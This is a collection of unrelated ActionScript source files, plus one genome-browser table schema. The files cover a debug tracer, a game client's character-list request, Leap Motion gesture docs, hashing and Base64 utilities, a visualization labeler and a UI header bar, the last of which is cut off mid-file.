idDictionary[o] = "textBlockArray[" + nextKey + "]";
else
idDictionary[o] = "my" + s + nextKey.toString();
nextKey++;
}
return idDictionary[o];
}
static public function getClassForType(o:Object):String
{
var s:String = getQualifiedClassName(o);
if (s.substr(0,vectPrefix.length) == vectPrefix)
{
s = s.substr( s.lastIndexOf(":")+1);
return "Vector.<" + s ;
}
return s.substr( s.lastIndexOf(":")+1);
}
static public function printHexString(tempString:String):String
{
var str:String = "String.fromCharCode(";
for (var idx:int = 0; idx < tempString.length; idx++)
{
if (idx != 0)
str += ", ";
str += "0x" + tempString.charCodeAt(idx).toString(16);
}
str += ")";
return str;
}
static public function makeParameter(obj:Object):String
{
var str:String;
if (obj == null)
str = "null";
else if (obj is String)
{
var tempString:String = String(obj);
var idx:int;
// any out of bounds characters?
var allokay:Boolean = true;
for (idx = 0; idx < tempString.length; idx++)
{
if (tempString.charCodeAt(idx) > 0xFF)
{
allokay = false;
break;
}
}
if (allokay)
str = "\"" + tempString + "\"";
else
{
str = "String.fromCharCode(";
for (idx = 0; idx < tempString.length; idx++)
{
if (idx != 0)
str += ", ";
str += "0x" + tempString.charCodeAt(idx).toString(16);
}
str += ")";
}
}
else if (obj is Number || obj is int)
str = obj.toString();
else if (obj is Boolean)
str = Boolean(obj) ? "true" : "false";
else
str = getIdentity(obj);
return str;
}
/** @private Trace a function call */
static public function traceFTECall(rslt:Object,target:Object,method:String,...rest):void
{
if (!generateDebugTrace)
return;
// if result already exists then null it out - its a side effect
if (idDictionary[rslt] != null)
rslt = null;
var str:String = " ";
var rsltType:String;
if (rslt)
{
rsltType = getClassForType(rslt);
if (rslt is ITextLine)
str += getIdentity(rslt) + " = ";
else if (rslt is ITextBlock)
str += getIdentity(rslt) + " = ";
else
str += "var " + getIdentity(rslt) + ":" + getClassForType(rslt) + " = ";
}
if (target)
str += getIdentity(target) + ".";
if (rest.length == 0)
{
str += method + ";";
}
else
{
str += method + "(";
for (var i:int =0; i<rest.length; i++)
{
if (i != 0)
str += ",";
str += makeParameter(rest[i]);
}
if (rslt)
str += ") as " + rsltType + ";";
else
str += ");";
}
str += " // " + callCount.toString();
trace(str);
callCount++;
}
/** @private Trace a property assignment */
static public function traceFTEAssign(target:Object,prop:String,val:Object):void
{
if (!generateDebugTrace)
return;
var str:String = " " + getIdentity(target) + "." + prop + " = " + makeParameter(val) + ";" + "// " + callCount.toString();
trace(str);
callCount++;
}
}
}
} // end package
|
package org.osflash.dom.element.debug.monitor.adapters
{
import org.osflash.dom.element.IDOMNode;
import org.osflash.dom.element.utils.getAllDOMElementChildren;
/**
* @author Simon Richardson - me@simonrichardson.info
*/
public class DOMNodeMonitorAdapter extends DOMElementMonitorAdapter
{
public function DOMNodeMonitorAdapter(node : IDOMNode)
{
super(node);
}
/**
* @inheritDoc
*/
override public function get active() : int { return length; }
/**
* @inheritDoc
*/
override public function get free() : int { return 0; }
/**
* @inheritDoc
*/
override public function get length() : int
{
return getAllDOMElementChildren(element).length;
}
}
}
|
package kabam.rotmg.account.core.services {
import com.company.assembleegameclient.parameters.Parameters;
import kabam.lib.tasks.BaseTask;
import kabam.rotmg.account.core.Account;
import kabam.rotmg.account.core.signals.CharListDataSignal;
import kabam.rotmg.account.securityQuestions.data.SecurityQuestionsModel;
import kabam.rotmg.appengine.api.AppEngineClient;
import kabam.rotmg.core.signals.CharListLoadedSignal;
import robotlegs.bender.framework.api.ILogger;
public class GetConCharListTask extends BaseTask {
public function GetConCharListTask() {
super();
}
[Inject]
public var account:Account;
[Inject]
public var client:AppEngineClient;
[Inject]
public var charListData:CharListDataSignal;
[Inject]
public var charListLoadedSignal:CharListLoadedSignal;
[Inject]
public var logger:ILogger;
[Inject]
public var securityQuestionsModel:SecurityQuestionsModel;
private var requestData:Object;
override protected function startTask():void {
this.requestData = this.makeRequestData();
this.sendRequest();
}
public function makeRequestData():Object {
var _loc1_:Object = {};
_loc1_.accessToken = this.account.getAccessToken();
_loc1_.game_net_user_id = this.account.gameNetworkUserId();
_loc1_.game_net = this.account.gameNetwork();
_loc1_.play_platform = this.account.playPlatform();
return _loc1_;
}
private function sendRequest():void {
this.client.complete.addOnce(this.onComplete);
this.client.sendRequest("/char/list", this.requestData);
}
private function onComplete(param1:Boolean, param2:*):void {
completeTask(true);
if (param1) {
this.onListComplete(param2);
} else {
this.onTextError(param2);
}
}
private function onListComplete(param1:String):void {
var _loc3_:* = null;
var _loc2_:XML = new XML(param1);
if ("Account" in _loc2_) {
this.account.creationDate = new Date(_loc2_.Account[0].CreationTimestamp * 1000);
if ("SecurityQuestions" in _loc2_.Account[0]) {
this.securityQuestionsModel.showSecurityQuestionsOnStartup = !Parameters.data.skipPopups && !Parameters.ignoringSecurityQuestions && _loc2_.Account[0].SecurityQuestions[0].ShowSecurityQuestionsDialog[0] == "1";
this.securityQuestionsModel.clearQuestionsList();
for each(_loc3_ in _loc2_.Account[0].SecurityQuestions[0].SecurityQuestionsKeys[0].SecurityQuestionsKey) {
this.securityQuestionsModel.addSecurityQuestion(_loc3_.toString());
}
}
}
this.charListData.dispatch(_loc2_);
this.charListLoadedSignal.dispatch();
}
private function onTextError(param1:String):void {
if (param1 == "Account credentials not valid") {
this.clearAccountAndReloadCharacters();
} else if (param1 == "Account is under maintenance") {
this.account.clear();
}
}
private function clearAccountAndReloadCharacters():void {
this.logger.info("GetUserDataTask invalid credentials");
this.account.clear();
this.client.complete.addOnce(this.onComplete);
this.requestData = this.makeRequestData();
this.client.sendRequest("/char/list", this.requestData);
}
}
} |
package com.leapmotion.leap
{
/**
* The CircleGesture classes represents a circular finger movement.
*
* <p>A circle movement is recognized when the tip of a finger draws
* a circle within the Leap Motion field of view.</p>
*
* <p><strong>Important: To use circle gestures in your application, you must
* enable recognition of the circle gesture.</strong><br/>
* You can enable recognition with:</p>
*
* <code>leap.controller.enableGesture(Gesture.TYPE_CIRCLE);</code>
*
* <p>Circle gestures are continuous. The CircleGesture objects for
* the gesture have three possible states:</p>
*
* <p><code>Gesture.STATE_START</code> – The circle gesture has just started.
* The movement has progressed far enough for the recognizer to classify it as a circle.</p>
*
* <p><code>Gesture.STATE_UPDATE</code> – The circle gesture is continuing.</p>
*
* <p><code>Gesture.STATE_STOP</code> – The circle gesture is finished.</p>
*
* <p>You can set the minimum radius and minimum arc length required for a
* movement to be recognized as a circle using the config attribute of a
* connected Controller object. Use the following keys to configure circle recognition:</p>
*
* <table class="innertable">
* <tr>
* <th>Key string</th>
* <th>Value type</th>
* <th>Default value</th>
* <th>Units</th>
* </tr>
* <tr>
* <td>Gesture.Circle.MinRadius</td>
* <td>float</td>
* <td>5.0</td>
* <td>mm</td>
* </tr>
* <tr>
* <td>Gesture.Circle.MinArc</td>
* <td>float</td>
* <td>1.5*pi</td>
* <td>radians</td>
* </tr>
* </table>
*
* <p>The following example demonstrates how to set the circle configuration parameters:</p>
*
* <listing>if(controller.config().setFloat("Gesture.Circle.MinRadius", 10.0) &&
* controller.config().setFloat("Gesture.Circle.MinArc", .5))
* controller.config().save();</listing>
*
* @author logotype
* @see Gesture
*
*/
public class CircleGesture extends Gesture
{
/**
* The circle gesture type.<br/>
* The type value designating a circle gesture.
*/
static public var classType:int = Gesture.TYPE_CIRCLE;
/**
* The center point of the circle within the Leap Motion frame of reference.<br/>
* The center of the circle in mm from the Leap Motion origin.
*/
public var center:Vector3;
/**
* Returns the normal vector for the circle being traced.
*
* <p>If you draw the circle clockwise, the normal vector points in the
* same general direction as the pointable object drawing the circle.
* If you draw the circle counterclockwise, the normal points back
* toward the pointable. If the angle between the normal and the
* pointable object drawing the circle is less than 90 degrees,
* then the circle is clockwise.</p>
*/
public var normal:Vector3;
/**
* The Finger or Tool performing the circle gesture.
*/
public var pointable:Pointable;
/**
* The number of times the finger tip has traversed the circle.
*
* <p>Progress is reported as a positive number of the number. For example,
* a progress value of .5 indicates that the finger has gone halfway around,
* while a value of 3 indicates that the finger has gone around the the
* circle three times.</p>
*
* <p>Progress starts where the circle gesture began. Since it the circle must
* be partially formed before the Leap Motion can recognize it, progress will be
* greater than zero when a circle gesture first appears in the frame.</p>
*/
public var progress:Number;
/**
* The circle radius in mm.
*/
public var radius:Number;
/**
* Constructs a new CircleGesture object.
*
* <p>An uninitialized CircleGesture object is considered invalid.
* Get valid instances of the CircleGesture class from a Frame object.</p>
*
*/
public function CircleGesture()
{
pointable = Pointable.invalid();
}
}
}
|
package {
import flash.display.Graphics;
public function PackagedFunction(target:Graphics):void {
target.lineStyle(0);
target.lineTo(100,100);
}
} |
table wgEncodeGencodeGeneSymbol
"GENCODE transcript to official gene symbol. For human, this is the HUGO Gene Nomenclature Committee (HGNC) gene symbo. For mouse, this is the Mouse Genome Informatics (MGI) gene symbol."
(
string transcriptId; "GENCODE transcript identifier"
string symbol; "HGNC/MGI gene symbol"
string geneId; "HGNC/MGI symbol id used by database"
)
|
package Modules {
import Components.Port;
import Layouts.DefaultLayout;
import Layouts.PortLayout;
import Values.*;
import Layouts.ModuleLayout;
import Layouts.Nodes.*;
import Layouts.InternalLayout;
import flash.geom.Point;
/**
* ...
* @author Nicholas "PleasingFungus" Feinberg
*/
public class InstructionDecoder extends Module {
public function InstructionDecoder(X:int, Y:int) {
super(X, Y, "Instruction Decoder", ModuleCategory.MISC, 1, 4, 0);
abbrev = "Dec";
symbol = _symbol;
inputs[0].name = "Instruction";
outputs[0].name = "Op";
outputs[1].name = "Src";
outputs[2].name = "Targ";
outputs[3].name = "Dest";
delay = 2;
}
override protected function generateLayout():ModuleLayout {
var layout:ModuleLayout = new DefaultLayout(this, 2, 9);
for each (var portLayout:PortLayout in layout.ports)
if (portLayout.port == inputs[0])
portLayout.offset.y -= 3;
else
portLayout.offset.y += 1;
return layout;
}
override protected function generateInternalLayout():InternalLayout {
var opcodeNode:InternalNode = new WideNode(this, new Point(layout.ports[1].offset.x - 3, layout.ports[1].offset.y), [layout.ports[1]], [],
function getOpcode():Value { return drive(outputs[0]); }, "Opcode" );
opcodeNode.type = new NodeType(0x0, U.OPCODE_COLOR);
var sourceNode:InternalNode = new WideNode(this, new Point(layout.ports[2].offset.x - 3, layout.ports[2].offset.y), [layout.ports[2]], [],
function getSource():Value { return drive(outputs[1]); }, "Source" );
sourceNode.type = new NodeType(0x0, U.SOURCE.color);
var targetNode:InternalNode = new WideNode(this, new Point(layout.ports[3].offset.x - 3, layout.ports[3].offset.y), [layout.ports[3]], [],
function getTarget():Value { return drive(outputs[2]); }, "Target" );
targetNode.type = new NodeType(0x0, U.TARGET.color);
var destinNode:InternalNode = new WideNode(this, new Point(layout.ports[4].offset.x - 3, layout.ports[4].offset.y), [layout.ports[4]], [],
function getDestin():Value { return drive(outputs[3]); }, "Destination" );
destinNode.type = new NodeType(0x0, U.DESTINATION.color);
var instrNode:InternalNode = new BigNode(this, new Point(layout.ports[0].offset.x + 4, layout.ports[0].offset.y),
[opcodeNode, sourceNode, targetNode, destinNode, layout.ports[0]], [],
inputs[0].getValue, "Instruction");
return new InternalLayout([opcodeNode, sourceNode, targetNode, destinNode, instrNode]);
}
override public function renderDetails():String {
return "IDEC\n\n: "+inputs[0].getValue();
}
override public function getDescription():String {
return "Outputs the opcode, source, target & destination of the input instruction."
}
override public function drive(port:Port):Value {
var memoryValue:Value = inputs[0].getValue();
if (!(memoryValue is InstructionValue))
return U.V_UNKNOWN;
var instrValue:InstructionValue = memoryValue as InstructionValue;
var portIndex:int = outputs.indexOf(port);
switch (portIndex) {
case 0: return instrValue.operation;
case 1: return instrValue.sourceArg;
case 2: return instrValue.targetArg;
case 3: return instrValue.destArg;
default: return null; //crashme!
}
}
[Embed(source = "../../lib/art/modules/symbol_mystery_24.png")] private const _symbol:Class;
}
} |
package com.company.assembleegameclient.util {
public class GUID {
private static var counter:Number = 0;
public function GUID() {
super();
}
public static function create() : String {
var _loc1_:Date = new Date();
var _loc2_:int = _loc1_.getTime();
return "A" + Math.random() * 4294967295 + "B" + _loc2_;
}
public static function str_b64(param1:String) : String {
return binb2b64(str2binb_2(param1));
}
private static function calculate(param1:String) : String {
return hex_sha1(param1);
}
private static function hex_sha1(param1:String) : String {
return binb2hex(core_sha1(str2binb(param1),param1.length * 8));
}
private static function core_sha1(param1:Array, param2:Number) : Array {
var _loc6_:Number = NaN;
var _loc7_:Number = NaN;
var _loc12_:Number = NaN;
var _loc8_:Number = NaN;
var _loc10_:Number = NaN;
var _loc15_:* = NaN;
var _loc14_:Number = NaN;
param1[param2 >> 5] = param1[param2 >> 5] | 128 << 24 - param2 % 32;
param1[(param2 + 64 >> 9 << 4) + 15] = param2;
var _loc16_:Array = new Array(80);
var _loc3_:* = 1732584193;
var _loc11_:* = -271733879;
var _loc4_:* = -1732584194;
var _loc13_:* = 271733878;
var _loc5_:* = -1009589776;
var _loc9_:* = 0;
while(_loc9_ < param1.length) {
_loc6_ = _loc3_;
_loc7_ = _loc11_;
_loc12_ = _loc4_;
_loc8_ = _loc13_;
_loc10_ = _loc5_;
_loc15_ = 0;
while(_loc15_ < 80) {
if(_loc15_ < 16) {
_loc16_[_loc15_] = param1[_loc9_ + _loc15_];
} else {
_loc16_[_loc15_] = rol(_loc16_[_loc15_ - 3] ^ _loc16_[_loc15_ - 8] ^ _loc16_[_loc15_ - 14] ^ _loc16_[_loc15_ - 16],1);
}
_loc14_ = safe_add(safe_add(rol(_loc3_,5),sha1_ft(_loc15_,_loc11_,_loc4_,_loc13_)),safe_add(safe_add(_loc5_,_loc16_[_loc15_]),sha1_kt(_loc15_)));
_loc5_ = _loc13_;
_loc13_ = _loc4_;
_loc4_ = rol(_loc11_,30);
_loc11_ = _loc3_;
_loc3_ = _loc14_;
_loc15_++;
}
_loc3_ = safe_add(_loc3_,_loc6_);
_loc11_ = safe_add(_loc11_,_loc7_);
_loc4_ = safe_add(_loc4_,_loc12_);
_loc13_ = safe_add(_loc13_,_loc8_);
_loc5_ = safe_add(_loc5_,_loc10_);
_loc9_ = _loc9_ + 16;
}
return [_loc3_,_loc11_,_loc4_,_loc13_,_loc5_];
}
private static function sha1_ft(param1:Number, param2:Number, param3:Number, param4:Number) : Number {
if(param1 < 20) {
return param2 & param3 | ~param2 & param4;
}
if(param1 < 40) {
return param2 ^ param3 ^ param4;
}
if(param1 < 60) {
return param2 & param3 | param2 & param4 | param3 & param4;
}
return param2 ^ param3 ^ param4;
}
private static function sha1_kt(param1:Number) : Number {
return param1 < 20?1518500249:Number(param1 < 40?1859775393:Number(param1 < 60?-1894007588:-899497514));
}
private static function safe_add(param1:Number, param2:Number) : Number {
var _loc4_:Number = (param1 & 65535) + (param2 & 65535);
var _loc3_:Number = (param1 >> 16) + (param2 >> 16) + (_loc4_ >> 16);
return _loc3_ << 16 | _loc4_ & 65535;
}
private static function rol(param1:Number, param2:Number) : Number {
return param1 << param2 | param1 >>> 32 - param2;
}
private static function str2binb_2(param1:String) : Array {
var _loc4_:int = 0;
var _loc5_:* = undefined;
var _loc3_:* = undefined;
var _loc2_:* = [];
_loc4_ = 0;
while(_loc4_ < param1.length * 8) {
_loc5_ = _loc4_ >> 5;
_loc3_ = _loc2_[_loc5_] | (param1.charCodeAt(_loc4_ / 8) & 255) << 24 - _loc4_ % 32;
_loc2_[_loc5_] = _loc3_;
_loc4_ = _loc4_ + 8;
}
return _loc2_;
}
private static function str2binb(param1:String) : Array {
var _loc2_:* = [];
var _loc3_:* = 0;
while(_loc3_ < param1.length * 8) {
_loc2_[_loc3_ >> 5] = _loc2_[_loc3_ >> 5] | (param1.charCodeAt(_loc3_ / 8) & 128) << 24 - _loc3_ % 32;
_loc3_ = _loc3_ + 8;
}
return _loc2_;
}
private static function binb2hex(param1:Array) : String {
var _loc2_:String = "";
var _loc3_:int = 0;
while(_loc3_ < param1.length * 4) {
_loc2_ = _loc2_ + ("0123456789abcdef".charAt(param1[_loc3_ >> 2] >> (3 - _loc3_ % 4) * 8 + 4 & 15) + "0123456789abcdef".charAt(param1[_loc3_ >> 2] >> (3 - _loc3_ % 4) * 8 & 15));
_loc3_++;
}
return _loc2_;
}
private static function binb2b64(param1:Array) : String {
var _loc5_:int = 0;
var _loc4_:* = 0;
var _loc3_:int = 0;
var _loc2_:String = "";
_loc5_ = 0;
while(_loc5_ < param1.length * 4) {
_loc4_ = (param1[_loc5_ >> 2] >> 8 * (3 - _loc5_ % 4) & 255) << 16 | (param1[_loc5_ + 1 >> 2] >> 8 * (3 - (_loc5_ + 1) % 4) & 255) << 8 | param1[_loc5_ + 2 >> 2] >> 8 * (3 - (_loc5_ + 2) % 4) & 255;
_loc3_ = 0;
while(_loc3_ < 4) {
if(_loc5_ * 8 + _loc3_ * 6 > param1.length * 32) {
_loc2_ = _loc2_ + "=";
} else {
_loc2_ = _loc2_ + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(_loc4_ >> 6 * (3 - _loc3_) & 63);
}
_loc3_++;
}
_loc5_ = _loc5_ + 3;
}
return _loc2_;
}
}
}
|
package com.allonkwok.air.framework.util{
import flash.utils.*;
/**
* Base64转换类,静态类
* */
public class Base64 {
private static const BASE64_CHARS:String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
/**
* 将字符串转换为Base64格式
* @param $data 要转换的字符串
* @return String
* */
public static function encode($data:String):String {
// Convert string to ByteArray
var bytes:ByteArray = new ByteArray();
bytes.writeUTFBytes($data);
// Return encoded ByteArray
return encodeFromByteArray(bytes);
}
/**
* 将ByteArray转换为Base64格式
* @param $data 要转换的数据
* @return String
* */
public static function encodeFromByteArray($data:ByteArray):String {
// Initialise output
var output:String = "";
// Create data and output buffers
var dataBuffer:Array;
var outputBuffer:Array = new Array(4);
// Rewind ByteArray
$data.position = 0;
// while there are still bytes to be processed
while ($data.bytesAvailable > 0) {
// Create new data buffer and populate next 3 bytes from data
dataBuffer = new Array();
for (var i:uint = 0; i < 3 && $data.bytesAvailable > 0; i++) {
dataBuffer[i] = $data.readUnsignedByte();
}
// Convert to data buffer Base64 character positions and
// store in output buffer
outputBuffer[0] = (dataBuffer[0] & 0xfc) >> 2;
outputBuffer[1] = ((dataBuffer[0] & 0x03) << 4) | ((dataBuffer[1]) >> 4);
outputBuffer[2] = ((dataBuffer[1] & 0x0f) << 2) | ((dataBuffer[2]) >> 6);
outputBuffer[3] = dataBuffer[2] & 0x3f;
// If data buffer was short (i.e not 3 characters) then set
// end character indexes in data buffer to index of '=' symbol.
// This is necessary because Base64 data is always a multiple of
// 4 bytes and is basses with '=' symbols.
for (var j:uint = dataBuffer.length; j < 3; j++) {
outputBuffer[j + 1] = 64;
}
// Loop through output buffer and add Base64 characters to
// encoded data string for each character.
for (var k:uint = 0; k < outputBuffer.length; k++) {
output += BASE64_CHARS.charAt(outputBuffer[k]);
}
}
// Return encoded data
return output;
}
/**
* 将Base64格式还原成原来的字符串
* @param $data Base64字符串
* @return String
* */
public static function decode($data:String):String {
// Decode data to ByteArray
var bytes:ByteArray = decodeToByteArray($data);
// Convert to string and return
return bytes.readUTFBytes(bytes.length);
}
/**
* 将Base64转换为ByteArray
* @param $data Base64字符串
* @return ByteArray
* */
public static function decodeToByteArray($data:String):ByteArray {
// Initialise output ByteArray for decoded data
var output:ByteArray = new ByteArray();
// Create data and output buffers
var dataBuffer:Array = new Array(4);
var outputBuffer:Array = new Array(3);
// While there are data bytes left to be processed
for (var i:uint = 0; i < $data.length; i += 4) {
// Populate data buffer with position of Base64 characters for
// next 4 bytes from encoded data
for (var j:uint = 0; j < 4 && i + j < $data.length; j++) {
dataBuffer[j] = BASE64_CHARS.indexOf($data.charAt(i + j));
}
// Decode data buffer back into bytes
outputBuffer[0] = (dataBuffer[0] << 2) + ((dataBuffer[1] & 0x30) >> 4);
outputBuffer[1] = ((dataBuffer[1] & 0x0f) << 4) + ((dataBuffer[2] & 0x3c) >> 2);
outputBuffer[2] = ((dataBuffer[2] & 0x03) << 6) + dataBuffer[3];
// Add all non-padded bytes in output buffer to decoded data
for (var k:uint = 0; k < outputBuffer.length; k++) {
if (dataBuffer[k+1] == 64) break;
output.writeByte(outputBuffer[k]);
}
}
// Rewind decoded data ByteArray
output.position = 0;
// Return decoded data
return output;
}
/**
* 构造函数,被执行后将抛出错误
* */
public function Base64() {
throw new Error("Base64 class is static container only");
}
}
} |
package flare.vis.operator.label {
import flare.animate.Transitioner;
import flare.display.TextSprite;
import flare.util.Filter;
import flare.util.IEvaluable;
import flare.util.Property;
import flare.util.Shapes;
import flare.vis.data.Data;
import flare.vis.data.DataSprite;
import flare.vis.operator.Operator;
import flash.display.Sprite;
import flash.text.TextFormat;
/**
* Labeler that adds labels for items in a visualization. By default, this
* operator adds labels that are centered on each data sprite; this can be
* changed by configuring the offset and anchor settings.
*
* <p>Labelers support two different approaches for adding labels:
* <code>CHILD</code> mode (the default) and <code>LAYER</code> mode.
* <ul>
* <li>In <code>CHILD</code> mode, labels are added as children of
* <code>DataSprite</code> instances and so become part of the data
* sprite itself. In this mode, labels will automatically change
* position as data sprites are re-positioned.</li>
* <li>In <code>LAYER</code> mode, labels are instead added to a separate
* layer of the visualization above the
* <code>Visualization.marks</code> layer that contains the data
* sprites. A new layer will be created as needed and can be accessed
* through the <code>Visualization.labels</code> property. This mode
* is particularly useful for ensuring that no labels can be occluded
* by data marks. In <code>LAYER</code> mode, labels will not
* automatically move along with the labeled <code>DataSprite</code>
* instances if they are re-positioned. Instead, the labeler must be
* re-run to keep the layout current.</li>
* </ul></p>
*
* <p>To access created labels after a <code>Labeler</code> has been run,
* use the <code>props.label</code> property of a <code>DataSprite</code>.
* To have labels stored under a different property name, set the
* <code>access</code> property of this class to the desired name.</p>
*/
public class Labeler extends Operator
{
/** Constant indicating that labels be placed in their own layer. */
public static const LAYER:String = "layer";
/** Constant indicating that labels be added as children. */
public static const CHILD:String = "child";
/** @private */
protected var _policy:String;
/** @private */
protected var _labels:Sprite;
/** @private */
protected var _group:String;
/** @private */
protected var _filter:Function;
/** @private */
protected var _source:Property;
/** @private */
protected var _access:Property = Property.$("props.label");
/** @private */
protected var _cacheText:Boolean = true;
/** @private */
protected var _t:Transitioner;
/** The name of the property in which to store created labels.
* The default is "props.label". */
public function get access():String { return _access.name; }
public function set access(s:String):void { _access = Property.$(s); }
/** The name of the data group to label. */
public function get group():String { return _group; }
public function set group(g:String):void { _group = g; setup(); }
/** The source property that provides the label text. This
* property will be ignored if the <code>textFunction<code>
* property is non-null. */
public function get source():String { return _source.name; }
public function set source(s:String):void { _source = Property.$(s); }
/** Boolean function indicating which items to process. Only items
* for which this function return true will be considered by the
* labeler. If the function is null, all items will be considered.
* @see flare.util.Filter */
public function get filter():Function { return _filter; }
public function set filter(f:*):void { _filter = Filter.$(f); }
/** Boolean function indicating whether label text values should be
* cached or not. If set to true then the label text is calculated
* only the first time it's needed and re-used from them on. If set
* to false then the label is recalculated at each update. */
public function get cacheText():Boolean { return _cacheText; }
public function set cacheText(c:Boolean):void { _cacheText = c; }
/** A sprite containing the labels, if a layer policy is used. */
public function get labels():Sprite { return _labels; }
/** The policy for how labels should be applied.
* One of LAYER (for adding a separate label layer) or
* CHILD (for adding labels as children of data objects). */
public function get labelPolicy():String { return _policy; }
/** Optional function for determining label text. */
public var textFunction:Function = null;
/** The text format to apply to labels. */
public var textFormat:TextFormat;
/** The text mode to use for the TextSprite labels.
* @see flare.display.TextSprite */
public var textMode:int = TextSprite.BITMAP;
/** The horizontal alignment for labels.
* @see flare.display.TextSprite */
public var horizontalAnchor:int = TextSprite.CENTER;
/** The vertical alignment for labels.
* @see flare.display.TextSprite */
public var verticalAnchor:int = TextSprite.MIDDLE;
/** The default <code>x</code> value for labels. */
public var xOffset:Number = 0;
/** The default <code>y</code> value for labels. */
public var yOffset:Number = 0;
// --------------------------------------------------------------------
/**
* Creates a new Labeler.
* @param source the property from which to retrieve the label text.
* If this value is a string or property instance, the label text will
* be pulled directly from the named property. If this value is a
* Function or Expression instance, the value will be used to set the
* <code>textFunction<code> property and the label text will be
* determined by evaluating that function.
* @param group the data group to process
* @param format optional text formatting information for labels
* @param filter a Boolean-valued filter function determining which
* items will be given labels
* @param policy the label creation policy. One of LAYER (for adding a
* separate label layer) or CHILD (for adding labels as children of
* data objects)
*/
public function Labeler(source:*=null, group:String=Data.NODES,
format:TextFormat=null, filter:*=null, policy:String=CHILD)
{
if (source is String) {
_source = Property.$(source);
} else if (source is Property) {
_source = Property(source);
} else if (source is IEvaluable) {
textFunction = IEvaluable(source).eval;
} else if (source is Function) {
textFunction = source;
}
_group = group;
textFormat = format ? format : new TextFormat("Arial",12);
this.filter = filter;
_policy = policy;
}
/** @inheritDoc */
public override function setup():void
{
if (_policy == LAYER) {
_labels = visualization.labels;
if (_labels == null) {
_labels = new Sprite();
_labels.mouseChildren = false;
_labels.mouseEnabled = false;
visualization.labels = _labels;
}
}
}
/** @inheritDoc */
public override function operate(t:Transitioner=null):void
{
_t = (t ? t : Transitioner.DEFAULT);
visualization.data.visit(process, group, filter);
_t = null;
}
/**
* Performs label creation and layout for the given data sprite.
* Subclasses should override this method to perform custom labeling.
* @param d the data sprite to process
*/
protected function process(d:DataSprite):void
{
var label:TextSprite = getLabel(d, true);
var o:Object, x:Number, y:Number, a:Number, v:Boolean;
if (_policy == LAYER) {
o = _t.$(d);
if (o.shape == Shapes.BLOCK) {
x = o.u + o.w/2;
y = o.v + o.h/2;
} else {
x = o.x;
y = o.y;
}
a = o.alpha;
v = o.visible;
o = _t.$(label);
o.x = x + xOffset;
o.y = y + yOffset;
o.alpha = a;
o.visible = v;
} else {
o = _t.$(label);
o.x = xOffset;
o.y = yOffset;
}
label.render();
}
/**
* Computes the label text for a given sprite.
* @param d the data sprite for which to produce label text
* @return the label text
*/
protected function getLabelText(d:DataSprite):String
{
if (textFunction != null) {
return textFunction(d);
} else {
return _source.getValue(d);
}
}
/**
* Retrives and optionally creates a label TextSprite for the given
* data sprite.
* @param d the data sprite to process
* @param create if true, a new label will be created as needed
* @param visible indicates if new labels should be visible by default
* @return the label
*/
protected function getLabel(d:DataSprite,
create:Boolean=false, visible:Boolean=true):TextSprite
{
var label:TextSprite = _access.getValue(d);
if (!label && !create) {
return null;
} else if (!label) {
label = new TextSprite("", null, textMode);
label.text = getLabelText(d);
label.visible = visible;
label.applyFormat(textFormat);
_access.setValue(d, label);
if (_policy == LAYER) {
_labels.addChild(label);
label.x = d.x + xOffset;
label.y = d.y + yOffset;
} else {
d.addChild(label);
label.mouseEnabled = false;
label.mouseChildren = false;
label.x = xOffset;
label.y = yOffset;
}
} else if (label && !cacheText) {
var o:Object = _t.$(label);
o.text = getLabelText(d);
}
label.textMode = textMode;
label.horizontalAnchor = horizontalAnchor;
label.verticalAnchor = verticalAnchor;
return label;
}
} // end of class Labeler
} |
//
// $Id$
package com.threerings.msoy.client {
import flash.events.Event;
import flash.utils.Dictionary;
import mx.containers.HBox;
import mx.controls.Image;
import mx.controls.Label;
import mx.core.ScrollPolicy;
import mx.core.UIComponent;
import com.threerings.util.ValueEvent;
import com.threerings.presents.client.ClientAdapter;
import com.threerings.presents.dobj.AttributeChangeAdapter;
import com.threerings.presents.dobj.AttributeChangedEvent;
import com.threerings.text.TextFieldUtil;
import com.threerings.flex.CommandLinkButton;
import com.threerings.flex.FlexUtil;
import com.threerings.msoy.chat.client.ChatTabBar;
import com.threerings.msoy.data.MemberObject;
import com.threerings.msoy.data.all.GroupName;
import com.threerings.msoy.data.all.MemberName;
import com.threerings.msoy.money.data.all.Currency;
import com.threerings.msoy.room.client.RoomView;
public class HeaderBar extends HBox
{
public static function getHeight (client :MsoyClient) :int
{
if (client.getEmbedding().hasThickHeader()) {
return 24;
} else {
return 17;
}
}
public function HeaderBar (ctx :MsoyContext, topPanel :TopPanel, chatTabs :ChatTabBar)
{
_ctx = ctx;
_tabs = chatTabs;
styleName = "headerBar";
verticalScrollPolicy = ScrollPolicy.OFF;
horizontalScrollPolicy = ScrollPolicy.OFF;
percentWidth = 100;
height = getHeight(ctx.getMsoyClient());
// listen for loc name/ownership changes if/when we're added to the stage
addEventListener(Event.ADDED_TO_STAGE, function () :void {
removeEventListener(Event.ADDED_TO_STAGE, arguments.callee);
topPanel.addEventListener(TopPanel.LOCATION_NAME_CHANGED, locationNameChanged);
topPanel.addEventListener(TopPanel.LOCATION_OWNER_CHANGED, locationOwnerChanged);
});
}
public function getChatTabs () :ChatTabBar
{
return _tabs;
}
public function stretchSpacer (stretch :Boolean) :void
{
var ownTabs :Boolean = (_tabsContainer.parent == this);
var stretchTabs :Boolean = !(stretch && ownTabs);
var stretchSpacer :Boolean = (stretch || !ownTabs);
if (stretchTabs == isNaN(_tabsContainer.percentWidth)) {
_tabsContainer.percentWidth = stretchTabs ? 100 : NaN;
}
if (stretchSpacer == isNaN(_spacer.percentWidth)) {
_spacer.percentWidth = stretchSpacer ? 100 : NaN;
}
}
override protected function createChildren () :void
{
super.createChildren();
_loc = new Label();
_loc.styleName = "locationName";
_loc.width = WHIRLED_LOGO_WIDTH;
FlexUtil.setVisible(_loc, false);
addChild(_loc);
_tabsContainer = new TabsContainer(this);
_tabsContainer.horizontalScrollPolicy = ScrollPolicy.OFF;
addChild(_tabsContainer);
_tabsContainer.addChild(_tabs);
var controlBox :HBox = new HBox();
controlBox.styleName = "headerBox";
controlBox.percentHeight = 100;
addChild(controlBox);
_spacer = new Spacer(this);
addChild(_spacer);
_owner = new HBox();
_owner.styleName = "headerBox";
_owner.percentHeight = 100;
if (!_ctx.getMsoyClient().getEmbedding().isMinimal()) {
addChild(_owner);
}
_ctx.getUIState().addEventListener(UIState.STATE_CHANGE, handleUIStateChange);
handleUIStateChange(null);
// configure some bits if we're embedded
